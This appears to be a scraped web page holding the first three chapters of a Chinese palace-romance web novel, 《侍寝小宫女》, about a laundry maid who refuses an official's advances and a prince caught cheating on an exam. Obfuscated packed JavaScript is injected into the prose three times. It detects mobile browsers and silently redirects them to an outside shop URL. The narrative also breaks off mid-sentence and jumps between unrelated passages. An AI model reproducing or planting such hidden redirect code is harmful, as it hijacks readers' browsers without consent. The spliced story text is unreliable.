《侍寝小宫女》 1. 掖庭 大雍景隆十七年，凛冬，掖庭局浆洗房。 巍峨宫墙围出四方深井，遮蔽天光。 拧干最后一件侍卫常服，天已经黑透了。借着廊下灯火的微光，阿罗把拧成麻花的衣裳码好在半人高的木桶中，两手合在嘴边哈了口热气，跺着小碎步等待掌事嬷嬷的查验。 寒风不要命地往身上拍，浣衣的水槽砌在露天的庭院，冬寒夏热，干着活出汗还不觉得冷，但一闲下来，骨头都在打颤。 阿罗的目光不禁被屋内明亮的光芒吸引。 那里是烘烤衣裳的地方，天冷，衣裳干得慢，上头又催得急，不得不拿火来烤。 冬日傍火做工，不用一双手整日浸在冷水里，不用弯着腰捶打、搓洗，多么享受呀。可惜，她没有余钱为自己打点这样一份好差事。 “傻站着干嘛！衣裳都洗完了？”掌事嬷嬷带着她的左膀右臂来了。 很快就可以吃饭了。阿罗心底腾起一丝雀跃，叉手屈膝道：“嬷嬷，都洗完了，请嬷嬷查验。” 掌事嬷嬷姓刘，梳着偏髻，瞧上去三十岁左右，身形像只梨子。 她看都不看，挥手叫身后跟着的两个小内侍抬进屋去烘干，“今儿偷懒去了？洗的这么慢。” 阿罗低眼盯着自己露在裙摆下的碧荷色鞋尖，“油渍多，用皂角加草木灰搓了好几遍，这才慢了些。” 不知是哪处的侍卫待遇那样好，吃得起荤腥，这是逢年过节她都吃不上的东西。 刘嬷嬷也是随口一问，挥了挥手，阿罗以为是让自己去吃饭的意思，心中一喜，紧接着就听到：“去换身干净衣裳，局令点名要见你。” 局令掌管整个掖庭局，怎么会单独传唤她这个小虾米？但这不重要。阿罗望了望天，这个辰点去，回来怕是连口米汤都没得喝了。 “愣着干什么？还不快去！”梨子怒了。 月钱被梨子捏着，阿罗不敢不从，忙应了声，迅速回屋换了件一模一样的碧荷色袍子——她没得选，所有的浣衣宫女都是统一着装，只有洁与不洁的区别。 局令有专供下榻的小院，伺候他的小内侍早得了消息，见阿罗迈过门槛，立马进去通传，没多久阿罗就站在了孙友德面前。 “阿罗来了。”很是和蔼。 孙友德坐着，屁股占满整张椅面，脊背前倾。阿罗站在门边，灯火照不到她，只能模糊瞧见个轮廓。 太瘦了，孙友德想，竹竿似的，一掐就要断，抱在怀里肯定会硌得慌。 指尖叩了叩桌面，“站近些，真是不懂规矩。” 桌上有茶盏和弯嘴壶，这是叫她倒茶的意思了。 阿罗趋步近前，右手持壶柄，左手按壶盖，茶水顺着弯嘴倾斜出一道优美的弧，打着旋汇入茶盏，映出盏底活灵活现的红鲤。 烛火攀上她的面，薄薄一层红晕，眉、眼、鼻、口，无一不精致，无一不秀美，要是再胖一点，也是个清秀脱俗的小美人。 孙友德重新上上下下打量了她一遍，心想，对着这张脸，他也不是不可以勉强抬举她一下。 “局令请用茶。”茶盏放在桌上，阿罗垂下手，交叠在腹前。 孙友德无视掉那盏茶，倾身去握那双胀红的手。阿罗下意识后退一步，他扑了个空，指腹却擦着手背经过，细腻，柔软，并非是想象中的粗糙与干涩。 他冷下脸来，皱纹也跟着展平，“常年浣衣，难免手生冻疮，但本官瞧你两手完好，可是平日里怠慢偷懒啊？” 目光落在自己那双因冷水刺激而肿胀如萝卜的手上，阿罗不急不徐道：“回禀局令，奴婢十四岁入宫，至今尚不足两载，虽无冻疮，但冬日里两手也会瘙痒难耐。” 入宫时间尚短，远磋磨不到溃烂的程度。孙友德信以为真。 可阿罗清楚地知道自己撒了谎。 其实是有冻疮的。她是孤儿，在湘西济善堂长到九岁，之后外出做工飘零，洗过盘子端过菜，什么脏活累活都做过，入宫后的第一年手就生了冻疮，反复溃烂，一双手干糙如老妪。 直到两月前，在御前当差的慕容侍卫给了她三盒药膏。 用完一盒，伤口愈合。两盒用尽，皮肤也恢复了光泽。虽然沾了冷水还是会发红发痒，但已经比先前流脓流血的情况好太多。 剩下的一盒她不舍得用，藏起来了。 孙友德捻了捻指腹，“今年十六？” 正是水嫩的年纪。 阿罗只当是上峰的寻常关怀，应了声“是”。 生辰在春分，她一出生就被爷娘抛弃，所以这不是她降生的日子，而是她被好心人抱去济善堂的日子。 说是十六，但生辰不明，年纪谁又说的准呢？十七、十八也不是没可能。 “就没想着给自个儿寻条出路？总不能浆洗一辈子衣裳。”孙友德从桌下伸出一条腿，随着两腿分离，一股子腥臊味扑面而来，阿罗努力克制着眉头，放缓呼吸，便听他道，“来，给本官捶捶腿。” 这不是她一个浣衣婢该做的。 宫女与内侍结为对食并不罕见，有的是为了余生有伴，有的是为了趋炎附势，孙友德暗示到这个地步，再反应不过来就是蠢了。 果然是没有平白无故的召见呐。 阿罗垂着脑袋斟酌片刻，叉手弯腰道：“局令恕罪，奴婢手笨，恐捏痛了您。若局令无事，奴婢先行告退。” “站住——”右脚刚撤了半步，孙友德就出声制止，“干衣房还缺个人，你要是愿意，本官可以调你过去。一句话的事。” 有炉火相伴，活儿还轻松，吃饭也是最早的那一拨，可以挑着菜里的荤腥吃。 多美的差事呀，阿罗很是羡慕，嘴上却拒绝的干脆：“多谢局令抬爱，但奴婢愚笨，干不了那样的精细活儿。” 更干不来侍奉您过夜的这种差。 孙友德听出了话外音，一而再地被一个小小浣衣婢拒绝，叫他面子往哪儿搁？端盏啜了口茶，“呸”得吐了满地，顺手就把茶盏朝阿罗掼去！ “你这是要烫死本官！” 阿罗不能躲，生生挨了这一下，瓷做的盏磕上手骨，热茶淋过手面，交叠在上方的右手从内到外都是痛的，阿罗咬着唇忍耐，盏底的红鲤在她脚下碎成一地瓷片。 刘嬷嬷就候在外头，闻声赶忙掀帘入内，对着阿罗抬手就是一个巴掌。 “没见识的蠢货，敢惹局令生气！秦王院里刚送来一箩筐衣裳，还不快滚去洗！” 脸颊很快浮出一只红掌印，半张脸都是麻木的，一片嗡鸣声中阿罗隐约听见“衣裳”和“洗”这几个字眼，就知道今晚又有的熬了。 饭还没吃呢。 心底叹了声，她叉手应“是”，倒退着退出门外，仰头望了眼泼墨似的天。 一巴掌加一筐衣裳就可以不用去侍奉身有残缺的男人，挺值得。阿罗阿罗，你这是赚了呀。 她安慰着自己，迎着风往回走，眼泪还没滴落就被冻干在朔风中。 屋内，孙友德余怒未消，刘嬷嬷觑着他的脸色，试探着问：“局令，菊香那丫头惦记着您呐，不如今儿个叫她来陪您？” 孙友德没吱声，往下压了压眉头，这就是默许的意思了，刘嬷嬷忙叫人去找。 被一个小丫头连拒两次，孙友德气不过，吊着尖细的嗓道：“三日后，本官要那丫头乖乖跪在榻上认错。要是做不到，掌事嬷嬷这个位置本官不介意换个人！” 饭碗不保那还得了，刘嬷嬷扑通跪下指着天道：“局令放心，三日后，绑我也把那丫头给您绑来！” * 果然是没饭了。盆底干干净净，一粒米都没留。 在饭厅找了一圈，阿罗两手空空折回寝屋。一进门，迎面就是张大通铺，三床暗灰色被褥整整齐齐铺在上头。 阿兰和阿喜不在，只剩阿茹坐在桌边，见她回来，掀了掀眼皮，很快又低下，点着一豆灯光缝补着衣裳。 怕同屋的宫女交情太好惹出事端，掖庭每月调整一次住宿安排。除去干活、吃饭与睡觉，留给大家闲谈的时间并不多，走心更不可能，所以彼此之间也仅是点头之交。 阿罗习以为常，绕过她，往最里的那个空床板走去。 泥砖砌的榻，空心的，用来盛放宫女的私人物件。阿罗掀起木床板，拎出一只小包袱。 解开系扣，里面全是些干饼馒头，半块半块的，都是平日里攒下的口粮。 阿罗挑了半块干硬到能砸死人的馒头，用桌上壶里的温水泡了泡，勉强填饱肚子。 宫女抢不上饭是常有的事，阿茹毫不奇怪，眼皮不抬，手上针线不停，“今儿我去内宫送衣裳，听人说皇后殿下有意给秦王物色王妃人选。” 宫中统共就三位皇子，大皇子是太子，二皇子是祁王，三皇子是秦王，皆是皇后所出，尚未婚配的只有秦王。 宫女们闲来无事，就爱听有关这些贵人的消息。虽然飞上枝头变凤凰这种事大概率不会发生在她们这些底层人身上，但做做梦还是可以的。 阿罗嚼着馒头，默不作声。她虽然读书不多，却明白祸从口出的道理，所以一向不怎么喜欢谈论这些。 阿茹只当阿罗话少，要不是实在憋得慌，她才不想跟块木头聊这些东西。 “还真是男大当婚女大当嫁啊，哪怕是宫里的贵人也逃不过。拖了两年，皇后可终于是舍得把秦王给放出宫去了。” 听得多了，阿罗对这位秦王也拼凑出了个大概的印象。 秦王今年十七，十二岁封王，按道理这个年纪早该出宫开府了，可作为家中老幺，帝后舍不得他，再加上秦王妃人选迟迟未定，这才拖到现在还没另立府邸。 但话说回来，人上人的婚丧嫁娶干她一个浣衣婢何事。他娶妻，难道能赏她十两喜钱吗？ 显然不能。 既然捞不到银子，那就不是她该关心的事。 冷水冲一冲碗底，喝掉，阿罗站起身，换回那身脏衣，抱着一小盒皂角往外走，“我吃好了，活儿没干完，不必给我留灯。” 阿茹纳闷，“洗了一天还没干完，你怎么这么多活啊？” 回答她的只有呼啸的风声。 抬头，恰好瞥见那张瓷白面颊上的掌印，还有右手手背异样的红。 “这是犯事儿了？”阿茹喃喃着，“那可得离她远点儿……” 免得被连累。 * 一个时辰过去，水槽结了厚厚的冰壳。阿罗抡起锤头把它敲碎，又去烧水房费了些口舌求了两木桶热水。 热水兑上凉水，探手试了试，手感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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银钱上的事，以前就没争过阿罗，这次小豆子索性就不争了，心想着下回出宫多给阿罗捎两个馒头。 廊下灯笼投下微弱光晕，阿罗捧着两本崭新的手抄书，靠近鼻尖，轻嗅，能闻到浓郁的墨香。 封皮上的字体遒劲有力，看了看，字都认识，过去两年的《千字文》没白学。唇角扬起的更高了。 这两本，一本是《女诫》，一本是《尚书》。 《尚书》是陌安兄念叨好久的，一直舍不得买。再过两日便是他的生辰，刚好买来作为贺礼，寻个机会出宫送给他。 小豆子又道：“阿姐，慕容侍卫今夜在御前当值，他托我问问你，明日卯时初刻，掖庭东侧门外可否一见。他似乎有话想亲口对你说。” 有话说？上次他们见面就把一切都分割明白了，他给她三盒药膏，就此两清，他又有什么话要说？ 宫女与侍卫私下见面乃是大忌，他约她卯时初刻在偏僻少有人走的掖庭北侧门见，想来也是知道这个道理，可为何又要冒着风险找她？ 阿罗想不明白，但依着这两次见面对慕容辉的了解，他人品贵重，非是轻薄之人，特意托小豆子传话，想来是事关重大不得不见面详谈。 将书用包袱包好，安置在廊下座凳楣子上，阿罗走回箩筐前翻查衣裳，确定衣裳主人没有遗落物件后，扔进木桶浸泡。 “卯时二刻要点卯，最晚拖不过三刻，我怕是赶不及，劳烦你去问问可否再提前一刻钟？” “得嘞！”小豆子咧着嘴傻笑，阿罗动作麻利，说话的功夫就查完了半箩筐。 忽地，她停住了动作。 普通侍卫的常服多用细麻布，触感硬挺糙实，而她手里这件衣裳，质地细腻，手感温润，滑溜溜的，内侧竟还有裘皮内衬！ 快步走到更明亮的廊下，细细查看，灯光打在锦缎上，漾出粼粼波光，指肚大的瑞兽隐在云间，活灵活现。内衬的裘皮厚实柔软，就这么片刻的功夫，她发僵的手指已然被包裹得温暖。 小豆子吓得两眼圆瞪：“阿姐，这用料……瞧着像是亲王的规制啊！” 贵人的衣裳自有尚服局的人在管，还轮不到她们这些掖庭的奴婢，想来是不小心掺在侍卫服里送进来的。 棘手就棘手在这儿。 办差出了差错，轻则罚没降等，重则二十宫杖。何况衣裳主人还是宫里最娇贵的主儿，按照传闻里秦王的性子，要是知道自己的衣裳被送到掖庭这种腌臜地，还不得剥了宫人的皮！ 再送回去，少阳院的宫人会认错吗？会不会倒打一耙将罪责悉数推给掖庭诬陷一个偷盗之罪？ 一颗心沉了又沉，仿佛手里抱着的不是衣裳，而是催命符。 小豆子也觉出事关重大，搞不好要连坐一批人。 “我在这儿守着，阿姐快去找刘嬷嬷商量个对策。” 这是唯一的办法了。阿罗不再多言，抱着衣裳往刘嬷嬷的单间寝屋去。脚步轮得飞快，十指与布料摩擦，无意间陷入一个四方空间，摸起来像个内兜。 堂堂皇子，外出都有大批奴婢随侍，也会像他们一样在衣裳里侧缝上许多内兜便于装些小物件吗？ 指尖兀地触到了什么。 薄薄一片，像是书写用的纸笺。 2. 字条 刘嬷嬷还没睡，阿罗进门，热浪扑面而来，有酒气发酵。地上歪着一只酒坛，坛口挂着一片酱肉。 阿罗咽了咽嗓，不敢乱看，目光重新落回脚尖，“嬷嬷，秦王的衣裳混到咱们这儿了。” “什么什么？”刘嬷嬷一下子弹起，重心不稳，差点一跟头栽过去，“你说什么混进来了！” 她两手扶桌，向前探身。绯色的袍子，花纹繁复，看一眼就知答案。 跌坐回圈椅，一掌拍上额头，“真是倒霉他娘给倒霉开门，哪个王八羔子接的手，这不是把老娘往火坑里推！” 少阳院宫人送来衣裳，掖庭的人需查验后方能接收。此时突然冒出件秦王衣裳，必是查验的人着急出了纰漏。 各宫主子的衣裳在尚服局都有记录，毁不得扔不得。 送回去，少阳院的人怕被责罚，万一倒扣一顶“偷盗”帽子把罪责全部推给掖庭，那就是掉脑袋的大罪，所以断不能尝试。 一根绳上的蚂蚱，阿罗做不到置身事外，她琢磨了一路也仅是想出来：“嬷嬷，既然甩不掉，咱们不如当作不知，洗好了夹在侍卫常服中送还即可。” 只求少阳院的人别声张，交接的时候睁一只眼闭一只眼。 “什么意思？”刘嬷嬷侧目睨过来，“你要洗秦王的衣裳？” “奴婢可以斗胆一试。” “你试个屁！”这一声吼得人耳朵痛，“凭你那点手艺也敢揽秦王的活儿？你知道他的衣裳要浆洗几轮、洗到什么硬度吗？多一道褶、多硬上半分，秦王眉头皱一皱就够你吃上一壶！你想死，别把整个浆洗房给搭进去！” 曾经有人闲聊时提起过，说秦王娇气得很，一点不合他心意就要遭罪。 秦王贴身的中衣向来用细绫或素罗裁制，曾有尚服局的宫人不小心做了件软绵的送去，谁成想，秦王穿了一夜就被磨破皮肤，相关宫人被杖责三十，革除出宫。 看刘嬷嬷如临大敌的模样，看来传言非虚。阿罗暗暗想，软绵啊，多舒服的料子，要是换了粗麻，秦王还不得被磨秃噜皮？他是豆腐做的么？ 阿罗没招儿了，站着不再吱声，刘嬷嬷眼珠子一转，想出一箭双雕之计。 她喘匀了气道：“兹事体大，嬷嬷我做不得主，还得局令出面。” 记挂着孙友德派的“差事”，换个角度想，不禁觉得秦王这件衣裳来的可真是好，阿罗有求于孙友德，可不得软下腰肢有求必应？ 孙友德好歹是掖庭局令，由他出面，少阳院或是尚服局的人也不敢胡乱说话。 阿罗也觉得此计甚好，“官大一级压死人”原来是这般用的，难怪大家都想往上走呢。 “那就有劳嬷嬷了。”圆桌摆满了菜肴，阿罗笑着把衣裳搁在干净的凳面，“衣裳还没洗完，奴婢告退。” 说罢，一身轻松退至门外，徒留刘嬷嬷看傻了眼。 什么？有劳谁？ * 撂下一桩烦心事，阿罗脚底似踩了祥云，不一会儿就飞回了浣衣处，小豆子焦急迎上前，“如何？” “嬷嬷说她去找局令。” 小豆子一愣，“太阳今儿怎么打西边出来了？那个大笨梨肯主动帮忙？” 阿罗也觉得奇怪，“嬷嬷说要局令出面解决，我想着局令是她上峰，岂是我等可以随便见的？那言外之意不就是交给她来管？总不能是我会错意了吧？” 小豆子觉得有理，想了半天，得出结论：“可能是事关重大，她也怕被秦王责罚，这才主动揽下来了。” 左右这块烫手山芋已经甩出去了，心落回肚子里，小豆子安心告辞去找慕容侍卫。 夜已深，筛落满庭冷月，捣衣声起起落落，唤醒天际一线亮色。 交完差，回屋放了趟书，阿茹她们还都在睡。阿罗望眼天，微微泛青，估摸着差不多到约定的时辰了，抬步往掖庭东侧门去。 窄窄一扇门虚掩着，少有人来。阿罗推开一道缝隙挤出去，劳作一夜，腰痛得厉害，她只好靠着朱墙等候。 闲暇时间来之不易，阿罗不舍得让它白白浪费在等待上。 两指探入腰封内侧夹层，夹出一张纸片，薄如蝉翼，透着光，其中字迹清晰可见。 这是秦王内兜所藏之物。 她不是故意偷藏，实在是昨夜抽手的时候不小心带出来，当着梨子的面也不好再放回去，只好偷偷收起来。 秦王自己都忘记的东西，应当不是什么机密。就算是，凭她的水平，字都认不全，大概也看不懂写的是什么。 阿罗成功把自己说服，心安理得展开折叠的纸条。 她从未见过这样的纸，质地细腻微凉，如抚美玉。上书蝇头小字，墨浓而不散，走笔流畅顺滑，笔锋锋利，无半分柔靡之气。都道是字如其人，但窥秦王之字，却不似个娇气之人。 莫非是旁人写的？ 欣赏完字，再看内容，阿罗顿时大大受挫。 巴掌大的纸，短短四行字，她差不多能认个七七八八，但合在一起，就完全读不懂了。 “什么意思啊……”她嘟囔着，挠着腮，眼前忽然一暗，抬头正对上慕容辉的笑颜。 慕容辉念出声：“若问《盘庚》迁都之辩与《无逸》戒游之训，何以观民心？可引‘盘庚敩于民，犹惧不绎’句，结于‘帝王之虑，当先于氓庶之咻’。这是《尚书》中的句段，论的是民心。” 他耐心解答，阿罗却无心细听，噌地站直，叉手行礼，“见过大人。” “不必多礼。” 有关慕容辉的消息，阿罗也被迫听过不少。 出身百年文勋世家，其祖父官至尚书左仆射，以“文治辅政”闻名，父亲袭“永宁伯”爵位，现任礼部侍郎，专掌礼乐典籍。 而他，一入仕便是官家钦点的正四品下左右千牛卫中郎将，与宫中那位尚未婚配的秦王一道，成为不知多少姑娘的春闺梦里人。 天幕洒落的晴光拂过他的眉眼，英气中带一点儒雅。他刚下值，身穿绯色戎服，团窠纹暗绣于绫面，蹀躞玉带紧束劲腰，一侧悬着错金乌皮刀鞘。 御前侍卫的华美公服，正如他的出身一样，让人羡慕。 阿罗从他身上错开眼，转向地砖，开门见山道：“不知大人有何要事约奴婢在此相商？” 慕容辉也不欲绕弯子，直接将一张纸递到阿罗面前。 “那日追杀你的人，我抓到了。” 他抓到了？那他岂不是都知道了！阿罗猛地抬头，眸中难掩惊色，待看清纸上文字时，她张了几次嘴，才磕磕巴巴说出几个字：“这是……奴婢的文牒？” 她出身济善堂，并无普通百姓拥有的户籍，唯有一张文牒记录出身。 “是你的文牒。”慕容辉撤回手，“你在济善堂的文牒，为何会在一个男子手中？” 这是在审她么？ 眼睫轻颤，两手攥在一起，指节因为用力而泛白，“大人不是抓了他么，他怎么说？” “他说你是他私逃的妾。” 好像也没说错。 捂了多年的丑陋疤痕被人毫不留情揭露，像是有面团糊在心口，堵得慌。阿罗捂着面，缓了几口气，努力压住冲上鼻头的酸涩。 “大人容禀。两年前，奴婢遇见一个穿着花哨的女人。她说她开了间铺子，缺个端酒的女使，见奴婢可怜，便想着帮一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但事出有因，可酌情处理。稍后我会去内侍省调换你的文牒，从此以后你便可以光明正大行走于宫中。宫外你也不必担心，一切后事由我料理。” 没想到他会这样说，阿罗木在原地，“大人的大恩大德，奴婢怕是还不起……” 脱口而出的话，慕容辉也被自己吓得一愣。他一向执法严明，什么时候这么好说话了？ 可话已说出口，难以收回，只能撒谎道：“之前情况危急，对姑娘多有冒犯，如此我才能心安。” 阿罗蹙了蹙眉。冒犯？拉手而已。她两手脓疮，事后都怕他回忆起来犯恶心。 慕容家，真真是书香门第，养出这样一位谦谦君子。 看出她还是过意不去，慕容辉敛眸，思量片刻，朝她伸手，“如若方便，小娘子可否将秦王墨宝赠予我？” 私藏皇子书法乃是大罪，看她怔然的模样，似是不知情。刚好借这个由头要过来，以免再生事端。 * 冬日的天，高爽辽阔。红墙黛瓦夹出狭长的甬道，阿罗目送着慕容辉的背影远去。 她知道，甬道走到尽头，向左一拐，便是汉白玉砌成的宽敞平地，再往前走，就是官家早朝的太极殿。 是她只敢躲在墙角遥遥一望的地方。 挤过窄门，退回到掖庭，锣声阵阵，在催促点卯。 字条被要走了，竟然真是秦王的墨宝。 那样难的句子，被抄写在纸笺随身携带，是为了方便时时背诵么？ 这般刻苦，这般用心，字迹遒劲有力。这位秦王，好像与传闻中的骄奢淫逸不一样。 3. 初见 校场。 “叮铃——” 乌蹄骏马擦着箭靶疾驰而过，带起的风摇动铜铃，翻飞如浪的绯红袍角拂过铃身，转瞬已至十丈之外，只听“嗖”的一声，箭靶剧烈一晃，带动铜铃再度发出一声脆响。 “中了！中了！”内侍怀安原地蹦起，收获了都督严统的一记眼刀。 “嚷什么嚷？秦王中靶很令你惊讶吗？”严统边说边在考核簿“燕昼”二字旁记录“上上”二字。 怀安撅了撅嘴，“可我家王爷是蒙着眼射的啊……” 视线投向校场中央，马背之上，单手虚拢着缰绳的绯红身影。 有内侍捧着巾帕上前侍奉，马上之人随手一抛，乌漆角弓稳稳落在内侍手中。空置的手顺势绕到脑后，两指一勾一拉，三指宽的覆面红绫打了褶，自那挺立的鼻梁缓缓滑落。 流光映照，眼睛因为乍然接触日光而半眯。一身绯色窄袖戎服用金线勾勒出云纹瑞兽，闪烁着点点碎芒。 待眼睛完全适应正午的日光，他偏腿下马，扬着唇，快步朝严统走来，人未至，礼先行，步子落定，手已拱起，作了个深揖。 “老师，您瞧学生这骑射，可能——” “不能。”从小教大的孩子，眼珠子一转就知道打的什么主意。严统毫不留情打断他，脚掌带动身体向左转了半圈，“文是文，武是武，岂能混为一谈！” 燕昼保持作揖姿势不动，跟着严统转了半圈，“学生查过，太宗时期有皇子习武吃力，最后便是文试武试综合考量，这才通过了岁试。既有先例，那么——” “太宗是太宗，不是本朝！”考核簿卷成筒，抵在燕昼手下，算是扶他起身，“秦王啊秦王，你武艺出众已无需再考，有功夫去找先例，不如多花些心思温书，好生准备明日文试。这次你要是再考不过，崔学士投河的心都有了！” 燕昼苦着脸道：“书是学生不肯背的么？实在是它们与学生相看两厌，每每相见，学生便头晕眼花浑身难受——” “那就抱着书去太医署背！” 有朗声传来，太子燕珩转过游廊，绀青色圆领窄袖锦袍，腰束金玉蹀躞带，脚步沉稳，错金鱼袋悬挂腰侧纹丝不动。 严统拱手行礼，燕昼两眼一翻望着晴朗日空，总觉得较方才阴沉了些，像是要下雪。 “大哥。”他转过身，一声“大哥”叫得心如死灰。 兄弟俩有话要说，严统求之不得连忙告退。 燕珩屏退下人，顺着游廊走，燕昼贼心不死，追上他，“大哥你想想看，二哥与我，一文一武，日后辅佐你刚刚好，我文墨上差些无伤大雅，何必——” 燕珩面不改色道：“文武双全更是好。” 燕昼一噎。 “你二哥武艺虽不如你，但武试成绩也是‘上下’，你休要浑水摸鱼。明日文试好生准备，没得商量。” “万一我又考不过呢？”燕昼绕到兄长右侧。 “那就留在宫里继续考。” 大雍皇子，在十五岁那年年末的岁考中，文试、武试均达到“中中”及以上水平，便可顺利结业，而后出宫开府、朝中任职、娶妻生子。 有聪颖的学生，十三岁便能通过考核，比如大皇子燕珩、二皇子燕穆。 平庸些的，考个“中中”不算难事，一次也就过了。 但有些偏科的，连考两年，武试次次‘上上’，文试次次“中下”，被卡在宫里不得开府做官，比如三皇子燕昼。 燕昼绕到兄长左侧，手指比出一条缝，“其实我就差那么一点点，要是武试与文试可以综合考量，‘上上’加‘中下’，那至少也是‘中上’，我不就通过了么？” 今年要是再考不过，那就是三连败，可真是太丢脸了，这个年还怎么过！ “大雍以文治国，你身为皇子，岂能本末倒置？”燕珩驻足，盯着眼前这个不成器的弟弟，“老三，岁考过了，大哥设宴为你庆贺。想要什么，东宫库房随便挑。” 燕昼：“那要是没过呢？” 燕珩：“那就提前恭喜你，即将成为大雍史上岁考次数最多的皇子，等着被载入史册供子孙后代嘲笑吧！” 燕昼：“……” * 翌日午后，含凉殿，皇后寝殿。 “啪”！掌心重重拍上桌面，保养得宜的素手瞬间泛起嫣红，大雍官家燕昴心里一抽，心疼地握住皇后的手，“消消气，消消气，别气坏了身子……” “是我想气吗？是你那宝贝儿子不肯放过我！”皇后池舒然扶额靠着椅背，“衣裳里头缝内兜夹带小抄岁试作弊，亏他想得出来！燕朝林，你再护犊子护下去，你小儿子就要走上邪路一去不回头了！” 天知道崔学士攥着那逆子的“作案证据”来找她时，年逾古稀的白发老翁，气色红润、健步如飞，她还以为是老三终于开窍通过岁试，老师过来报喜呢。 燕昴见妻子生气，恶狠狠道：“是是是，我一会儿就去教训他，非打他个五十大板，叫他张张记性！” “五十大板？”池舒然两眼瞪过去，“你是要把你儿子打废吗？” 燕昴大手一挥，“那就三十大板，不能再少了。” 池舒然皱眉，“养伤还怎么念书？” 燕昴：“那就罚他把《尚书》抄上十遍。” 池舒然想了想，“五遍吧，别叫他彻底厌学了。” “全听阿然的。”燕昴松了口气。 臭小子，净收拾你爹！ 怕池舒然醒过神来，燕昴另寻了个话题：“老三的亲事你叫我上心，这几日我把家有适龄女郎的官员都捋了一遍，户部尚书沈家的小娘子就很好，知书达理，娴静端淑，与老三极是相配。” “相配？”池舒然质疑，“你哪只眼睛看出来相配？就你儿子那脾气，给她娶个温顺的媳妇儿什么都依着他，他还不得翻了天！” 这是怕小娘子压不住他。 “那芳蕖怎么样？你亲侄女，跟老三也算是打小一块长起来，知根知底。” 皇后凉凉道：“你是想让他们日日打擂台终成怨偶吗？” 两个人都是说一不二不肯服软的性子，确实不般配。 “那师家小娘子……” “性子太软。” “王家小娘子……” “行事莽撞。” “李家小娘子……” “五品官家的小娘子就算了，老大老二的媳妇儿都出身显赫，你叫老三的面子往哪儿搁？”池舒然长叹一口气，“罢了，再找找，我就不信天底下找不出一个能克他的小娘子！” 燕昴抿了口茶润喉，“依我看，不如叫他自己相看，等有了中意的，咱们赐婚就是，如此一来皆大欢喜，你我也不必操心。” “那怎么成？”池舒然不依，“父母之命，媒妁之言，岂能到他就改了制？要是能自由相看，你以为当初我会嫁你？” 燕昴想起往事，脸色一青，“好好的，又扯以前的事做什么，难道你还对他念念不忘？” “念念不忘还不是说明你没本事。”池舒然故意气他，“行了行了，孙子都有了，你还醋什么醋。老三那边先挑几个晓事宫女过去伺候吧，今年太后明里暗里催了好几次，再不安排，恐怕太后都要怀疑我虐待她幺孙了。” 燕昴道：“不怕扰他念书了？” “没女人他也念不好书，他就不是那块料！” 琢磨了会儿，又叮嘱道：“老三那边先瞒着，免得他不答应来找我闹。” * 少阳院，澄晖堂。 又是一日黄昏，暖黄橘光铺满回廊。 廊下，紫竹雕花躺椅沐浴在光里，蹙金孔雀纹香囊与赤色丝绦缠绕着垂落在侧，怀安侍奉在旁，急得要哭。 “王爷啊王爷，您都躺一个下午了，求您跟奴婢说说话吧！不就是岁试又没过吗？大不了咱们明年再战，您可千万别想不开郁闷坏了身子。” 都说城东的文殊菩萨最是灵验，上次出宫他还专门过去上了三柱香，求菩萨保佑他家王爷文试作弊别被抓。谁成想，考场上，王爷刚掏出纸条就被逮了个正着，他都怀疑是不是菩萨给崔学士托梦了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240732|197721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就不该上那三柱香！ 燕昼抬手，取下摊开覆盖在脸上的《尚书》，神色郁郁，“怀安，你说我都躺在这儿一下午了，为何这一页的内容还没印到我颅中去呢？” 怀安：“……” 印到您脸上还差不多。 “哎……” 一声低叹，愁得没边儿，闻其声，怀安瞬间感觉自己前途一片黯淡。 “表兄——”哭天抢地的一声嗓。 门外飞来一团火，精准扑向廊下躺椅，怀安还没看清怎么回事呢，躺椅上就已经换了人。 池家大姑娘池芳蕖扑倒在躺椅上，泪眼汪汪仰望着避开她的那个人，“表兄……” 燕昼早在听见声音的那一刻就下意识起身回避，他皱着眉头看着她，“哭丧呐？你表兄还没死呢！” “可我的心死了呜——”说哭就哭。 怀安连忙递帕子，池芳蕖哭得一把鼻涕一把泪。好歹是自己的亲表妹，总不能直接把人扔出去，燕昼只能耐着性子听她哭。 “表兄，慕容辉他、他跟别的女人有染！” 她说的话向来掺水，燕昼自动过滤，想来是慕容辉跟旁的女郎站一块儿叫她给误会了。 “慕容辉也到了娶妻的年龄，他有爱慕的女子，不奇怪。” 池芳蕖怒了，“你帮谁说话呢！你是我表兄，不是他表兄！” “帮理不帮亲。”燕昼摊摊手，“你这是又打哪儿听来的不实消息？” “什么叫不实消息！是给他赶车的小厮亲口告诉我的！他昨儿早晨下值，比往日里足足晚了半个时辰才出宫，手里还捏着一张纸，肯定是那女人写给他的！” “你怎么就断定是女子写给他的？万一是他同僚呢？” “绝不会是他同僚！”池芳蕖十分肯定，“纸是澄心纸，你最常用，我见多了绝不会认错。他身上还有皂角香，肯定是被掖庭的哪个浣衣婢给勾搭去了！” 都具体到掖庭浣衣房的奴婢了，燕昼敛了笑意，“池芳蕖，你要查就暗中查，有什么事去找慕容辉，别去为难一个奴婢。” 这事多半有误会，池芳蕖那性子，听风就是雨。不敲打敲打，她定会闹去掖庭。 “一个奴婢勾搭主子，她就有脸了？凭什么不让我闹！” 